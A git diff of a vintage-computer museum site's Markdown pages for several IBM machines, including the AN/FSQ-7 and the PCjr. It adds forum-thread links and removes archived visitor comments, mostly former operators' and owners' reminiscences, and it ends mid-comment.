b/content/museum/ibm-5120.md index 085264f9..24dd8091 100644 --- a/content/museum/ibm-5120.md +++ b/content/museum/ibm-5120.md @@ -60,6 +60,7 @@ params: - photos - hardware - links + forum_thread: 775 photos: - title: 5120 WITH PRINTER subtitle: '' @@ -88,38 +89,6 @@ params: - title: IBM 5110 page url: http://computermuseum.informatik.uni-stuttgart.de/dev/ibm_5110/technik/en/ text: Very complete information here ! - comments: - - author: mark uihlein (United States) - date: Friday 16th February 2018 - text: Worked on 5110s and 5120s in the NYC commercial printing industry. Wrote an entire job costing system, estimating syste, union payroll system, GL, AP, Billing and AR systems. This was in the 1980s. Had it running at many of the premier large print shops that were all over lower NYC in that period. One configuration had attached "toaster" 8 inch drives. The entire company ran by time slicing their departments. They went on for years until I wrote a conversion program and put them up on a 36 (in Basic). 64K was a thrill to run a full, multi-union, in-house payroll for 50 or so employees across 3 shifts. - - author: Joseph (Atlanta GA / USA) - date: Friday 31st March 2017 - text: |- - I programmed a complete Property-Tax accounting system on one of these IBM 5120 computers, back in 1982... for City Hall in the town where I was living. The 5120 had 32K, no hard drive, just two 8-inch floppy disks, for programs and data. So: no real operating system either. It booted from ROM, and gave you a prompt in APL or BASIC. - - As I recall, the style of BASIC was very limited/simplistic. For instance: no "FOR" looping, just use conditional branching. The "IF" statement only had syntax: "IF ABC $ X THEN 2500" where 2500 was a line number to GOTO when the IF-conditional was true. Even the 5120 Disk access was crude. IBM re-used old tape drivers, so the floppy disks would only understand FIXED length FILES, pre-allocated when created... so you needed to plan the Max size for a file in advance, and if that filled up, "too bad" you can''t extend file length... gotta re-build allocations, and copy to another 8" floppy. - - However, despite computer''s limitations, I designed and coded a solid Tax accounting system that tracked property owner/address/value/zone for the whole town, calculated taxes, printed mailer statements, collected taxes, logged fees/fines, and allocated funds to appropriate city funds $ levees... which was running for as long as they kept the computer. - - The IBM PC was brand new at the time, with more memory and a hard drive, and would have been a better choice$ but managers had already purchased the 5120, and stuck with it.\ - I guess one of the things I learned from that project is that the right skill for coding/design/efficiency/usability can make more difference than the computer it''s running on... and THAT remains true for system many years later. - - author: Kurt Zentmaier - date: Wednesday 29th October 2014 - text: |- - Still have our IBM 5120 programed it back in 1980 as a 13 year old. It was my first experience with Basic programing. We also considered system 32 and 34 but my father settled on the 5120. I still like to turn on occasionally and pretend like it''s 1980 all over again. Also like the diagnostic switch on the monitor that lets you view the binary memory core. Have the displaywriter printer that came along with it. I seem to recall it costing about $13,000 or so. Looked at the Datamaster shortly after but we never took the leap. - - kurt - - author: Kurt Zentmaier - date: Wednesday 29th October 2014 - text: |- - Still have our IBM 5120 programed it back in 1980 as a 13 year old. It was my first experience with Basic programing. We also considered system 32 and 34 but my father settled on the 5120. I still like to turn on occasionally and pretend like it''s 1980 all over again. Also like the diagnostic switch on the monitor that lets you view the binary memory core. Have the displaywriter printer that came along with it. I seem to recall it costing about $13,000 or so. Looked at the Datamaster shortly after but we never took the leap. - - kurt - - author: Italo (UTAH) - date: Tuesday 11th March 2008 - text: |- - OMG! I can't believe it! I programmed a whole sales system on this computer in 1991. It was already old but the company that hired me wanted to use that old thing they had in storage for who knows how long. I used its BASIC, a very limited one I must say!!\ - Thanks for this excellent site! related: - /museum/ibm-5100 oc_id: 794 diff --git a/content/museum/ibm-5140-convertible.md b/content/museum/ibm-5140-convertible.md index 44557cb6..742da078 100644 --- a/content/museum/ibm-5140-convertible.md +++ b/content/museum/ibm-5140-convertible.md @@ -67,6 +67,7 @@ params: tabs: - photos - hardware + forum_thread: 1150 photos: - title: SIDE VIEW subtitle: '' @@ -81,27 +82,6 @@ params: subtitle: '... attached to the back of the computer' text: '' image: /media/museum/hardware/ibm_5140_printer_1.jpg - comments: - - author: Griffith - date: Wednesday 11th December 2013 - text: Hello,I''m a "IBM Clicky keyboard" fan,could someone tell me which keyboard is of the IBM 5140,the Model F,or the Model M? - - author: Batman - date: Saturday 23rd November 2013 - text: It''s Sad Only A Few Were Sold. - - author: saruk (vulcan) - date: Thursday 27th May 2010 - text: your human computational devices are illogically designed. - - author: Acoustiq (Romania) - date: Saturday 27th September 2008 - text: |- - I found this machine a couple of weeks ago, and just now got it to start. The display is ridiculous $I have the version with no back light$. On the other side, mine has 512K , the printer and a couple of LPT/COM adapters daisy-chained. I''m using a Toshiba power adapter $15V, 3A$ on which I had to replace the connector.\ - Anyway, the machine is fun, old, great looking, slow and annoyingly wonderful :) I love it! - - author: Marius (South Africa) - date: Monday 9th April 2007 - text: Have a printer only (brand new/ unused!) for the IBM 5140 convertible. Possible to convert existing 72- port to standard paralel pin for use on newer pc? - - author: Philip Schetrompf (Earth) - date: Tuesday 11th July 2006 - text: I owned one of these computers. I bought it at a yard sale for $10 and it worked fine. Later I found another one with a portable dot-matrix printer that attached to the rear of the computer. The built in display was amber/brown in color which I thought was cool on an old laptop. oc_id: 1182 source: url: https://web.archive.org/web/20230608085208/http://www.old-computers.com/museum/computer.asp?c=1182 diff --git a/content/museum/ibm-an-fsq-7.md b/content/museum/ibm-an-fsq-7.md index a5bb653a..189db7fb 100644 --- a/content/museum/ibm-an-fsq-7.md +++ b/content/museum/ibm-an-fsq-7.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 1023 photos: - title: SYSTEM DIAGRAM subtitle: '' @@ -86,180 +87,6 @@ params: - title: SMECC Museum url: http://www.smecc.org/sage_a_n_fsq-7.htm text: More pictures of the SAGE system - comments: - - author: Richard Wayne (United States) - date: Sunday 12th June 2022 - text: I joined IBM in Kingston in 1959 and after 20 weeks of training I was assigned to the Duluth ADS SAGE location as a Central Computer Field Engineer. I was there for five years. I never saw anyone racing the aisles with replacement pluggable units (PUs). Nor did I witness large numbers of tubes failing daily. Most of the tubes were in the pluggable units which were repaired in the PU lab. A great time. - - author: Jacob Coleman (Unites States) - date: Wednesday 15th December 2021 - text: Unfortunately my own father''s experiences directly contradict Glen Crandall''s statement. He absolutely witnessed people running up and down the aisles of tubes, replacing them with shopping carts, while he was an operator on the AN/FSQ-7 in Michigan. My assumption is that the load they were under simply wasn''t enough to trigger that many failures, because they deliberately induced them twice a day and still managed to need people running up and down the aisles replacing them. - - author: Henry Spencer (United States) - date: Monday 23rd August 2021 - text: I programmed the AN/FSQ-7 computer to play music in 4-part harmony. I was a student in the USAF Command $ Control Computer Programming course at Keesler AFB in Mississippi in 1965.. I was a 2nd lieutenant at the time, later becoming an instructor. I have a recording of four pieces of music I programmed that was played at the Montgomery Air Defense Sector site in Mobile, Alabama in 1965. I can send you a copy of the music if you email me requesting it (henryspencer@gmail.com). I had heard some previously written tunes that had been written with one and two parts. I speculated that if played at the proper speed, I could program an accumulator bit to repeat four notes of a chord to simulate four part harmony. I wrote a test program to do that. After I picked the proper speed, I then programmed these four pieces of music. - - author: fred panter (United States) - date: Saturday 20th February 2021 - text: taught the anfsq7 (bryan hall) kafb early60''s - - author: Gary Nelson (United States) - date: Monday 4th February 2019 - text: I was a first generation USAF "BlueSuit" graduate of the IBM Kingston training program in 1961$my job code was 30551. I was a computer repairman and later computer operator of the Q7 at Duluth Air Defense Sector (DUADS). One topic I have not seen mentioned was the fact that many of the voltages that ran the computer came from motor-generators that were controlled by the computer itself. The pentode tubes were designed so that, when run at lower or higher than normal voltage, they would fail. By this means, the failure rate of 48000 tube system could be acceptably low. - - author: Michael Yourshaw - date: Tuesday 21st August 2018 - text: I trained as a communications computer systems analyst at Keesler AFB in 1965. We had a field trip to the Q-7 in Montgomery where we each wrote, in JOVIAL, and ran a small program on the backup system. The CRT/light pen programming was fun. For some reason we thought the "NIFA" acronym was hilarious ("not in file area", a flip-flop that was activated by a light reflecting on a piece of aluminum foil glued on the magnetic tape near the end of the reel). - - author: Keith Krier (Pittsburgh, PA) - date: Wednesday 18th July 2018 - text: Went to Keesler for SAC HQ training, but got assigned to Duluth from 1972 to 1975 Enjoyed the computer maintenance career 30594. Spent 34 years and retired as a Chief.At Duluth the shop manager was a civilian. He used to come at night to drive us crazy installing faults and making us troubleshoot them. Anyone remember 4cv was the main clock. - - author: Herb Pfeifer - date: Tuesday 8th November 2016 - text: Obviously it was Keesler AFB, Biloxi, Mississippi - - author: Herb Pfeifer - date: Tuesday 8th November 2016 - text: |- - I attended Q-7 training at Biloxi AFB in 1967-1968 but was never assigned to a Q-7 site. Instead I was assigned to the NORAD cave and later to the BUIC site at Havre AFS. - - An interesting observation about the Q-7 was its extremely high reliability due to marginal testing of the backup system when the tubes were subjected to over and under voltage stresses. Vacuum tubes that would have failed during normal operation were "Pre-failed" on the backup system rather than being allowed to fail during critical online operation. - - As you might imaging, the building housing the Q-7 required only air conditioning, but not heat as this was provided by over 100,000 vacuum tubes. - - author: Jeff Davis (USA) - date: Thursday 18th August 2016 - text: |- - I worked on the Q7 from 1974-76...I/O and Displays, at Duluth, MN. - - Was a lot of fun to work on! Had big and little memory, drums, reel-to-reel tape, card reader, printer (used relays...lots of them). Would boot up using a plug board(if I recall the name). The display console had a 10,000 volt power supply that had to be checked during maintenance. You have to turn off the power, attach your probes and then turn power on. If you attached the probes before powering off, the jolt would knock you back on your butt...or worse. - - Toughest problem I worked on was an intermittent failure that we finally found by turning off the lights where the frames with pus and looked for bad tubes. We found the culprit...one blue tube. - - The other cool thing was that there was a speaker that would emit these squeak-like sounds while the main program (active mode) was running. It was the same sound pattern over and over so you could tell by listening if things were running okay. You also would know when things were going down. Then the commander would call down from the fourth floor over the loud speaker. Hee, hee. - - Fun times. - - author: Glen Crandall (Atlanta, GA) - date: Saturday 28th November 2015 - text: |- - "There were usually several hundred tube failures each day, replaced by workers racing up and down the tube racks with shopping carts full of replacements." - - This statement is incorrect. Because of the automated testing conducted on a daily schedule actual failures were extremely rare. - - The only time large numbers of tubes were replaced occurred happened after about four years of operation. At this time predicted failure rates of vacuum tubes rose to the point where all tubes were replaced. Usually about 100 to 200 tubes were replaced at a time during this phase. - - I joined IBM in September 1957 and went to Kingston, NY for a 6 month training period. My permanent duty assignment was the DC at Gunter AFB, Montgomery, AL. I was there from April 1958 to November 1961. - - In November 1961 I transferred to the software development site in Santa Monica, CA. I was there until about June 1966. - - author: Richard Haskell (USA) - date: Sunday 26th April 2015 - text: 'Listed email: railfanewmexico@hotmail.com' - - author: Richard Haskell (USA) - date: Sunday 26th April 2015 - text: I was USAF trained at Keesler AFB 6/65-6/66 on the Q-7. First permanent party station at McGuire AFB (NYADS) as a 30553-A then Topsham AFS (BOADS). While at McGuire I was awarded Airman of the year and had my photos taken on the job. These are some of the best and most detailed photos of the Q-7 . Contact me at the listed email for copies. - - author: Mike Perzel (USA) - date: Wednesday 17th December 2014 - text: I joined IBM right out of the Navy in 1957 and trained on the SAGE computer in Kingston NY. Our team installed the system at McCord AFB in Tacoma, WA. I recall during installation, the air-conditioning system was being tested and I do believe room temperature was around 50 degrees, and this was in the summer. In fact, I received several cash awards for changes to the 026 card punch manual. installati - - author: Gary Cartwright - date: Thursday 28th August 2014 - text: |- - I was hired by IBM in 1958 to help install and maintain the ANFSQ-7 at DC-13 at KI Sawyer AFB outside of Marquette Mich. By that time the SAGE (Semi-Automatic Ground Environment) systems were being installed in 3 story buildings. The computer was amazing compared to what we have today. What we call RAM today was a 64K core memory unit (that was the "Big Memory Retrofit - the original was 4K) - - I was part of the maintenance team until the USAF Operation Bluesuit, which turned over maintenance to Air Force personnel. I stayed on as Contract Technical Services until the site was closed in 1963. It was the basis for my continued career in IBM in "commercial" field service, eventually programing support, engineering and finally product pricing before I retired. Since then I have built PC''s as a hobby. SAGE was the great beginning of that career. - - author: Dr. Dave Felsburg (USA) - date: Tuesday 27th May 2014 - text: I served as maintenance technician, crew chief and site trainer at Fort Lee AFS, VA (Washington Air Defense Sector - WADS) from 1966 through 1969. The Q-7 provided one of the best basic computer operations and air surveillance mission training available anywhere. Its maintenance console hosting over 10,000 neon lights allowed technicians to single step through machine operations to watch data transfers and troubleshoot with ease. Its size was equivalent to 23 ranch-style home with an internal telephone system to match. It had 123 miles of internal signal wire and 75,000 vacuum tubes. It was so impressive that Hollywood bought several of the surplus machines as they were shut down or never installed. They were featured in "Lost in Space," "Journey to the Bottom of the Sea," "Time Tunnel" and many more. The expertise I gained at Fort Lee made it easy to become site computer maintenance trainer for AUTDIN at Clark AFB, RPI and complete an electronics engineering degree. As an officer, - I led a special team out of the 4754th Radar Evaluation Sq at Hill AFB, UT to respond to a disabling fire at the Fort Lee Q-7 by redirecting all air surveillance inputs and response capabilities to two neighboring Direction Centers. The severely limited data handling capacity was addressed by focusing computer processing on only those aircraft of interest instead of the entire civilian air traffic load. The basics of computer operations and maintenance learned at Fort Lee led me into over 20 years of active USAF time in computer systems design and engineering culminating with 4 years at the USAF Academy leading a mathematics department and teaching engineering application to thousands of Academy cadets. I have always been grateful to the knowledge and experience I gained through that old vacuum tube computer! - - author: Jim Bellah (Oregon/USA) - date: Sunday 2nd March 2014 - text: I was computer maintenance at Adair AFS, Oregon from 1965 to 1968. Started out as display, cross trained to central computer later. In about 1967, some "genius" decided we should change all the Rayethon (5616 or 5818?) tubes which were the meat of the computer. We protested, but had to do it anyway. About 5$ of the new ones were bad, had a heck of time getting it back up. They closed Adair July 1969. - - author: Bill Ramsdale (Truax AFB Madison wi.) - date: Tuesday 18th February 2014 - text: Just out of high school I was hired as a Multilith operator at truax AFB Air Force Base in Madison Wisconsin I was given a confidential security clearance. About 1950 I was promoted to process the programmers programs into computer via punchcards and return the results of their efforts to the programmers. I was employed by the systems development Corporation a division of RAND Corporation. I''ve also and my clearance changed to secret. IWorked at this position for about a year and 1/2until the Air Force took control of the facility. - - author: Mark Avant (Yucaipa, CA) - date: Thursday 7th November 2013 - text: |- - I was a crew chief for a maintenance crew on the Q7 at Ft Lee Virgina from 1979 to 1982. we called the core stacks big memory and little memory. A couple of years before I arrived they had a fire up in the weapons area. Soaked the entire computer. We used to have issues with the wire relays all the time. take them apart, clean them with an eraser and viola, problem solved. Troubleshooting with an oscillascope and logic diagrams. Those were the days. - - After I left the Air Force I worked as a field engineer for WANG Laboratories and then went on to Network administration after the colapse of the mini computer industry. I am retireing in 8 months from my current position as a Network Adminsitrator for a School District. No more banging my head against the virtual wall. - - author: Dave Bignoli (Phoenix, Az) - date: Tuesday 22nd October 2013 - text: Went to Keesler AFB for BED (Basic Electronic Development) and was quartered in the Triangle area May 1962 to May 1963. Worked as a central computer tech at McGuire AFB New Jersey thru Feb 1966. There were not very many central computer techs around, we just had 4 at McQuire. Went to work for GE upon discharge as a field engineer thru 1970 then got out of the field and into real estate in Phoenix area. In 1973 decided computers and real estate were something that needed each other. Currently operate a system that evaluates real estate. www.propertyvaluecentral.com . The AF provided me with a great living my entire working life. - - author: William Lagasse (Richmond, VA) - date: Monday 13rd May 2013 - text: My father, Conrad Lagasse was assigned at Tomshom AFS from 62-69 working on the AN FSQ 7 / SAGE, still knows a great deal about the system, anybody who was there then please let me know.. - - author: Mac McLemore (Oklahoma, USA) - date: Monday 19th November 2012 - text: |- - This is for Dean from Florida. My experiences parallel yours. I graduated Keesler and reported to the Q-7 shop at Topsham AFS, Maine in September 1965. That means we were in Bryan Hall at the same time. Stayed at Topsham until 1968. Went to Udorn where I worked on the Univac 1050-II Base\ - Supply Computer. Came back to the States on SAC''s 465L system . Worked on it until 1982 then went to Tinker as an Airborne Computer Tech on the E-3 AWACS aircraft. Stayed with that until 1994, at which time I had 30 years service and retired. - - author: Dean (Florida) (Florida, USA) - date: Sunday 20th May 2012 - text: I went to tech school at Keesler AFB in 1964/65. A 49 week basic electronics course and advanced training on the AN/FSQ-7. In Aug 1965 I arrived at McChord AFB as a computer maintenance tech. I worked on the computer for two years. At that time there was a Direction Center (DC) and a Command Center (CC) colocated in the same building. In 1966 one of the computers, I think the CC was shut down and sold for scrap. I helped remove the equipment racks and consoles. In later years on a TV show called "Time Tunnel" had one of the main computer control consoles to control the time tunnel. Another TV show called "20,000 Leagues Under the Sea" had one of the drum control panels as a control panel on the submarine. I left the vacuum tube computer in 1966 and was assigned to a transisized version called Back Up Intercept Control (BUIC). The new computer was a back up to the Q-7 but with all the same plus increased capabilities in a much smaller package. It was housed in a building of 4 or - 5000 SF on a raised floor with cabling under the floor. After a few months of OJT on the new computer, I was transferred to Udorn RTAFB, Thailand in 1967 to work on the BUIC which was used to control and direct fighters and bombers flying from Thailand and South Vietnam in the Vietnam war. I''ll be happy to correspond with anyone about the AN/FSQ-7 and my experiences. - - author: Steve (Vermont) - date: Sunday 1st January 2012 - text: I worked at the 24th NORAD site at Malmstrom AFB, Great Falls, Montana from March 1981 - June 1983, when we shut it down and locked the door. I was teh tech that worked on the TDDL (Time-Devision Data Link) system that the computer communicated through to the Guard jets. I worked in the computer repair lab as well. - - author: Tarbet - date: Tuesday 26th April 2011 - text: |- - Questions on Q-7 Speed, Memory $ Storage ...\ - Of course, the Q-7 was duplex - 2 independent machines interconnected.\ - Speed - 2MHz clock, 6MS memory cycle time, 12MS add time (2 cycles)\ - Memory - 64K and 4K of 32-Bit words (not bytes).\ - Drums - 12 (originally 6) with 6 fields each. Fields contained 2048 locations. - - Manuals are available on Bitsavers.org/IBM/SAGE/ - - The system was specialized enough that an emulator would do you no good. It was never used in a data processing environment. - - author: Tarbet (US) - date: Tuesday 26th April 2011 - text: Pete''s comment on "first ground control of interceptor aircraft" relies on a mixed metaphor. "GCI" in the 30''s was manual (radio to pilot). Under SAGE, it was actually controlable from the ground. - - author: packetStar (Califoria, USA) - date: Saturday 9th April 2011 - text: |- - I agree with Crystal Campbell, SAGE was running in the northwest US, the 25th ADC, until at least the end of ''83. I worked at the other end of SAGE, at a GATR site, ground to air transmitter receiver site, where we had the AN/GKA-5 Time division data link that the Q7 at McChord sent data to. The GKA-5 then transmitted data to the interceptors, coded messages that vectored the interceptors to their targets. The K-5 was still running when I left the AF at the end of ''83. FYI - I was stationed at the 777th radar squadron, Klamath, California. - - peace - - author: royal prentice - date: Tuesday 11th May 2010 - text: I was on a maintenance crew on a Q7 during 1971 72 and I never saw anyone running around with a shopping cart full of tubes. The machine used pluggable units that were removed during marginal checks and repaired on a test bench. - - author: Pete - date: Monday 3rd August 2009 - text: The article claims "First ground control of interceptor aircraft". The Royal Air Force were doing ground-controlled interception in the late 1930s - it''s largely this that allowed the Battle of Britain to be won and hence German invasion prevented. SAGE was extremely significant in many ways, but not this particular way. - - author: Crystal Campbell (USA) - date: Friday 17th April 2009 - text: |- - The dates concerning the shutdown of the AN/FSQ-7 are not quite correct. I joined the Air Force in 1981, and I worked on the McChord computer until we shut it down and dismantled it. I did not actually arrive at McChord until after tech school, so the AN/FSQ-7 was definitely operational until 1982. I do not remember exactly when the mission switched over to computer replacing the Q7, but it would have been in 1983. I had heard that there was one still active in 1985, but I can''t confirm that. - - It was a fascinating computer to work on. - - author: Programer Learning Ti-Basic (Aplace, CountryWorld) - date: Sunday 15th February 2009 - text: I really wish there was an emulator for the IBM 305 RAMAC. That would be a step in preserving the history of one of man kinds most astounding achievements, the computer. I myself love the RAMAC''s unique grey case. It RULES!!!!!!!! I want to own one some day, along with an Apple PiP!N game system. - - author: B (USA) - date: Friday 24th August 2007 - text: To give some perspective, a $238 million computer in 1958 would be the equivalent of a $1.6 BILLION computer today. - - author: Alexei (Seattle (USA)) - date: Wednesday 3rd May 2006 - text: |- - So, can we get an emulator for this? I don't see it in MESS. - - As for long-term storage, probably punch-cards or paper tape. Maybe magnetic drum? - - author: Tommy Mason (playing halo on my pimped-out 386) - date: Thursday 17th November 2005 - text: |- - cathode-tube's where pertty much fazed out around 1983. - - although there is some talk about one still being fired up in New york for shift keeping.\ - but I don't think that's true, still- that would be neat to see it! - - author: Computer Guy (Garage^^) - date: Tuesday 15th November 2005 - text: |- - How fast was it anyway?\ - And how long did computers use cathode-tubes for?! - - author: ClAwHaMmEr (UK) - date: Saturday 16th July 2005 - text: |- - err, i would estimate around a few kilobytes, as this big boy was created merely two years after the first HD was built by IBM, and as such uses FSQ-7 magnetic core memory circuits instead. - - even if IBM decided to include hard drives in the design, i seriously doubt the lowly cathode-tube CPU would be fast enough to access data at an acceptable rate. Apart from this, IBM's first HD, the IBM 305 RAMAC required 50 24-inch disks to store five megabytes of data, which would be prohibitive considering how cramped the storage building was already - - hope this answers your question, linkman ;) - - author: Linkman (Slovak Republic) - date: Friday 15th October 2004 - text: Wow - that is hard machine :))) tell me how big disc space it has ? oc_id: 1050 source: url: https://web.archive.org/web/20230603204628/http://www.old-computers.com/museum/computer.asp?c=1050 diff --git a/content/museum/ibm-instruments-computer-system.md b/content/museum/ibm-instruments-computer-system.md index fcfc182e..1b962c54 100644 --- a/content/museum/ibm-instruments-computer-system.md +++ b/content/museum/ibm-instruments-computer-system.md @@ -72,6 +72,7 @@ params: value: $5,695 (basic version) tabs: - photos + forum_thread: 610 photos: - title: PRICE LIST subtitle: '' @@ -125,10 +126,6 @@ params: The card had over 1600 test points.\ By plugging in an optional expansion board, up to five Versabus (a 32-bit bus standard developed by Motorola) cards can be plugged into the main board. image: /media/museum/photos/ibm_ics_mboard_1.jpg - comments: - - author: Phil Hollenback (United States) - date: Wednesday 19th July 2017 - text: Note that the history of Xenix is quite a bit more nuanced than "Xenix, which was a form of UNIX written for Motorola 68000 computers by Microsoft". See https://en.wikipedia.org/wiki/Xenix for the full Xenix story. oc_id: 623 source: url: https://web.archive.org/web/20230417004103/http://www.old-computers.com/museum/computer.asp?c=623 diff --git a/content/museum/ibm-pc-at.md b/content/museum/ibm-pc-at.md index f634cb79..4fb4fd37 100644 --- a/content/museum/ibm-pc-at.md +++ b/content/museum/ibm-pc-at.md @@ -60,6 +60,7 @@ params: - photos - adverts - links + forum_thread: 195 photos: - title: INSIDE subtitle: '' @@ -83,45 +84,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: SERGIO CUTIÉ (España) - date: Wednesday 27th April 2022 - text: Tengo un ordenador IBM PC AT TYPE 2 20 MB por si alguien desea adquirirlo. - - author: chenzf (China) - date: Tuesday 18th October 2016 - text: |- - Where there is sell IBM PC/XT?\ - Thanks! - - author: Christoph (Australia) - date: Sunday 16th October 2016 - text: |- - I have a IBM System 1981 ni monitor no key board, but I do have boot disks and some chips as well, I would like to sell to a collector who will value this ?\ - Can send Photos - - author: Xcursion666 (Usa) - date: Friday 26th September 2014 - text: |- - i recently found one of these beasts in a dumpster with a zenith data systems display it didnt have the keyboard though :(\ - i got a laugh when i booted it up and it said keyboard error press f1 to resume lol i think the hd in it still works it has a sticker on the back that says its a reference drive - - author: Nick Y (UK) - date: Monday 27th September 2010 - text: This was one of my first pc, eventually I upgraded this computer with 1152K (512+640) and then installed a 1.44MB floppy drive however the bios only allowed me to for 720K drives, I managed to install a version of Windows 3.0 my splitting and zipping the setup files onto floppys and unpacked on the 30MB drive I had.. I remember when I first get it and switched it on, my father went straight to electric cupboard ... had plenty of experiemce with this computer, finished up with just the mainboard in cupboard now as I installed a faster motherboard in the IBM case afterwards.. - - author: vintageNerd (Australia) - date: Friday 9th July 2010 - text: A total of 5 models were released - see http://wiki.vintage-computer.com/index.php/IBM_PC_AT\_$285170$29 - - author: Russ Blakeman (Kentucky USA) - date: Sunday 24th August 2008 - text: Same here - I have gobs of this old iron in dry storage and I have an AT-1 and AT-2 both in working order that I use from time to time. I also have some PC and XT items and lots of PS/2 stuff. - - author: Andrew J (UK) - date: Sunday 17th August 2008 - text: This machine was a beast! 19.5kgs I think.... Made in Scotland from girders, Greenock to be precise! I love my AT, got three XT's too - they're ace! You can't beat the clunkiness of these machines. - - author: insektenfang (Earth) - date: Saturday 15th December 2007 - text: There was also a further and later model named the AT-X. I used one for several years, but can't recall the advantages over the standard AT. It was along time ago... - - author: Jayme (Tyler,TX) - date: Tuesday 14th May 2002 - text: |- - I have lots of computer parts for sale like: mother boards,hard drives,processors,keyboards,mouses, joysticks,cases,chips,memmory expansion slots,cd-rom drives.You name a price!\ - My phone number:(903)534-2883 my email address:Txbillfrog111@aol.com related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/ibm-pc-junior.md b/content/museum/ibm-pc-junior.md index 08eefa9d..2796e48d 100644 --- a/content/museum/ibm-pc-junior.md +++ b/content/museum/ibm-pc-junior.md @@ -71,6 +71,7 @@ params: - software - links - docs + forum_thread: 196 photos: - title: IBM PCJR IN ALL ITS GLORY subtitle: '' @@ -260,98 +261,6 @@ params:  compiled/archived by Eric Bylenga\  type of document : PDF\  source : www.old-computers.com - comments: - - author: Cuvtixo (Colorado/USA) - date: Sunday 25th October 2020 - text: Yan touches on some good points, but... the first point about "incompatibilities" misses a lot about the market it cam out in. Compaq would not bring out its successful Deskpro 386 until the next year, 1986. Apple II, Comodore64, Atari, TRS-80 and other computers of the time were all incompatible and idiosyncratic. Even when they had 5.5'' disks, the formats were incompatible. In truth having IBM DOS 2 and not CP/M made them weird at the time (IBM offered CP/M for an additional price on the day the 5150 came out) But yes, they did fear PCs eating into business computers, that''s why they accepted Microsoft''s OS and left them free to licence. From the beginning they thought they could make their own later (OS/2) and crush M$. Also with PS/2 line they would put out a new MCA architecture and crush the new ISA standard their clone competitors made. Also their was a lot of criticism about the awful "chiclet" keyboard. It was so bad, PC makers avoided the style for years afterwards. - Basically until Apple came out with the Magic keyboard, in the 2000s which won acclaim and is still sold at premium prices. It''s an irony many seemed not to realize. Above all, was IBM''s arrogance. Picking out the smaller faults sometimes misses this larger point. - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: Email is jaya.buckwheat@gmail.com - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: I am looking for one of these at a cheap price, I will pay up to 100$ including shipping if I have to pay for it - - author: Yan - date: Monday 2nd December 2019 - text: with so many oddities in comparison with the standard PC is not surprise that it has failed. I don''t see the point of a company picks a successful product, make a worse version of it and expect that people will swallow it. They could simply put the very same hardware into a cheapo and more compact case and sell it for less - surely it would be a better way of hooking the home users, and, of course, work hard developing a plethora of cool games (it always was the main attractive for computer home users by that time). I believe that they thought about this but feared that the corporate customers noticed the similarity and buy the JR for office use instead the regular version. Anyway, it is only history now and we all know that it was just a matter of small time until people start buying the "big" PC to use at home! $) - - author: Don (Virginia USA) - date: Saturday 2nd February 2019 - text: I have a PCjr for sale - original boxes, 2 keyboards, 2 joy sticks, 8 games, 10 magazines and all original books - guide to Operations, Basic book, Hands on Basic, IBMPCjr sample disk. - - author: dlblake (usa) - date: Sunday 2nd April 2017 - text: I had an IBM JR and added the racore side extension and a 20MB hard drive with 640K ram. I used it up to 1992. It worked quite well. I finally had a power problem with house 60A service and it finally died. - - author: CharonPDX (Cascadia) - date: Thursday 15th September 2016 - text: |- - Mike from Rochester, I was gong to point out to you the somewhat recent jrIDE, then I realized who you were, well, duh, of course you know about it now, you helped make it happen! - - (For those who are curious, here is the thread on Mike''s own forums detailing the creation of an ATA adapter for the PCjr: http://www.brutman.com/forums/viewtopic.php?f$1$t$180 - - author: computer guy - date: Saturday 4th February 2012 - text: |- - Here is a section from computerhope.com:\ - In 1822, Charles Babbage purposed and began developing the Difference Engine, considered to be the first automatic computing engine that was capable of computing several sets of numbers and making a hard copies of the results. Unfortunately, because of funding he was never able to complete a full-scale functional version of this machine. However, in June of 1991 the London Science Museum completed the Difference Engine No 2 for the bicentennial year of Babbage''s birth and later completed the printing mechanism in 2000. - - And, the first electrical computer was the Z1, built by Konrad Zuse from 1936 to 1938. - - author: Dan (Minnesota) - date: Sunday 4th December 2011 - text: My mom uses our PCjr to save cooking recipes at least up till the past few years. I don''t know how well the disks are holding up though. I''ll ask her next time I see her. - - author: Mike (Rochester, MN) - date: Wednesday 8th August 2007 - text: |- - Hardcard in a Jr? Probably not ... People did graft hard drives onto the machines in many different ways so I wouldn't rule it out, but no company did a HardCard type of solution for a PCjr. - - Now, grafting an MFM controller from an XT onto a Jr, that we can help you with. ;-) Or maybe SCSI instead? :-) - - author: Guyy (Upstate Ny) - date: Friday 22nd June 2007 - text: I never got to test this, but as I rambled through some later computer junk I noticed I had some 20mb HardCards with pinsets that matched those in the PCjr. I never had a monitor so I dont know if it worked but if anyone knows what Im reffering to, could the HardCards have actually been supported by the PCjr? Just want to settle the idea in my head. - - author: william pociengel (wisconsin) - date: Monday 30th April 2007 - text: |- - I just got rid of the monitor for mine. I still have the machine. I also (somewhere) have a case of sidecars (memory or ports I don't recall which) unopened. stock this was FASTER than a PC and you could add an 8087 by piggybacking a chip and then tying one pin (I forget which) that made it active. I still have an 8087 I bought as an extra. I also have a cartridge which provided encryption (it's marked as not for export) I believe it's identified as a munition. - - I'll try to remember to get photos and such if someone reminds me ;-) - - author: David Blake (USA) - date: Thursday 4th January 2007 - text: I believe I bought the JR for around 1000.00 with a printer. I added the side card with 512K memory and a 20 mb hardrive this all put the total up to about 1500. I ran it for about 8 years with all dos and up to windows 95. It really worked well and just as good as other machines. a Power failure in home took out part of the power supply and it was replaced with P2 MOB and machine - - author: Bettina (Bay Area) - date: Monday 27th November 2006 - text: Hello, I am interested in buying a PC junior that works from someone. Please e-mail me. - - author: Jeffrey H. Ingber (FT. Lauderdale, FL) - date: Wednesday 18th December 2002 - text: The jr is still one of my favorite machines, and I still collect jr hardware and software that I happen to come across. This was one of the most interesting machines from the early PC period. - - author: Brandon Higa (USA) - date: Thursday 15th August 2002 - text: |- - Actually, the Function keys on the PCjr worked a little differently from the Control key-combination. Function (Fn) didn't need to be held down - you pushed it once, then pushed the other key (PgUp, PgDn, Home, End were the cursor keys) to get the desired result. - - A few games didn't like this, since the way Fn was handled created different Make/Break sequences from a "normal" keyboard. - - If using the chiclet keyboard, the keyboard cable was a must because it ate batteries like crazy. - - One cool thing was the auto Diagnostics you get from Control-Alt-Insert. If you had a 'standard' (83-key) keyboard like I did you could 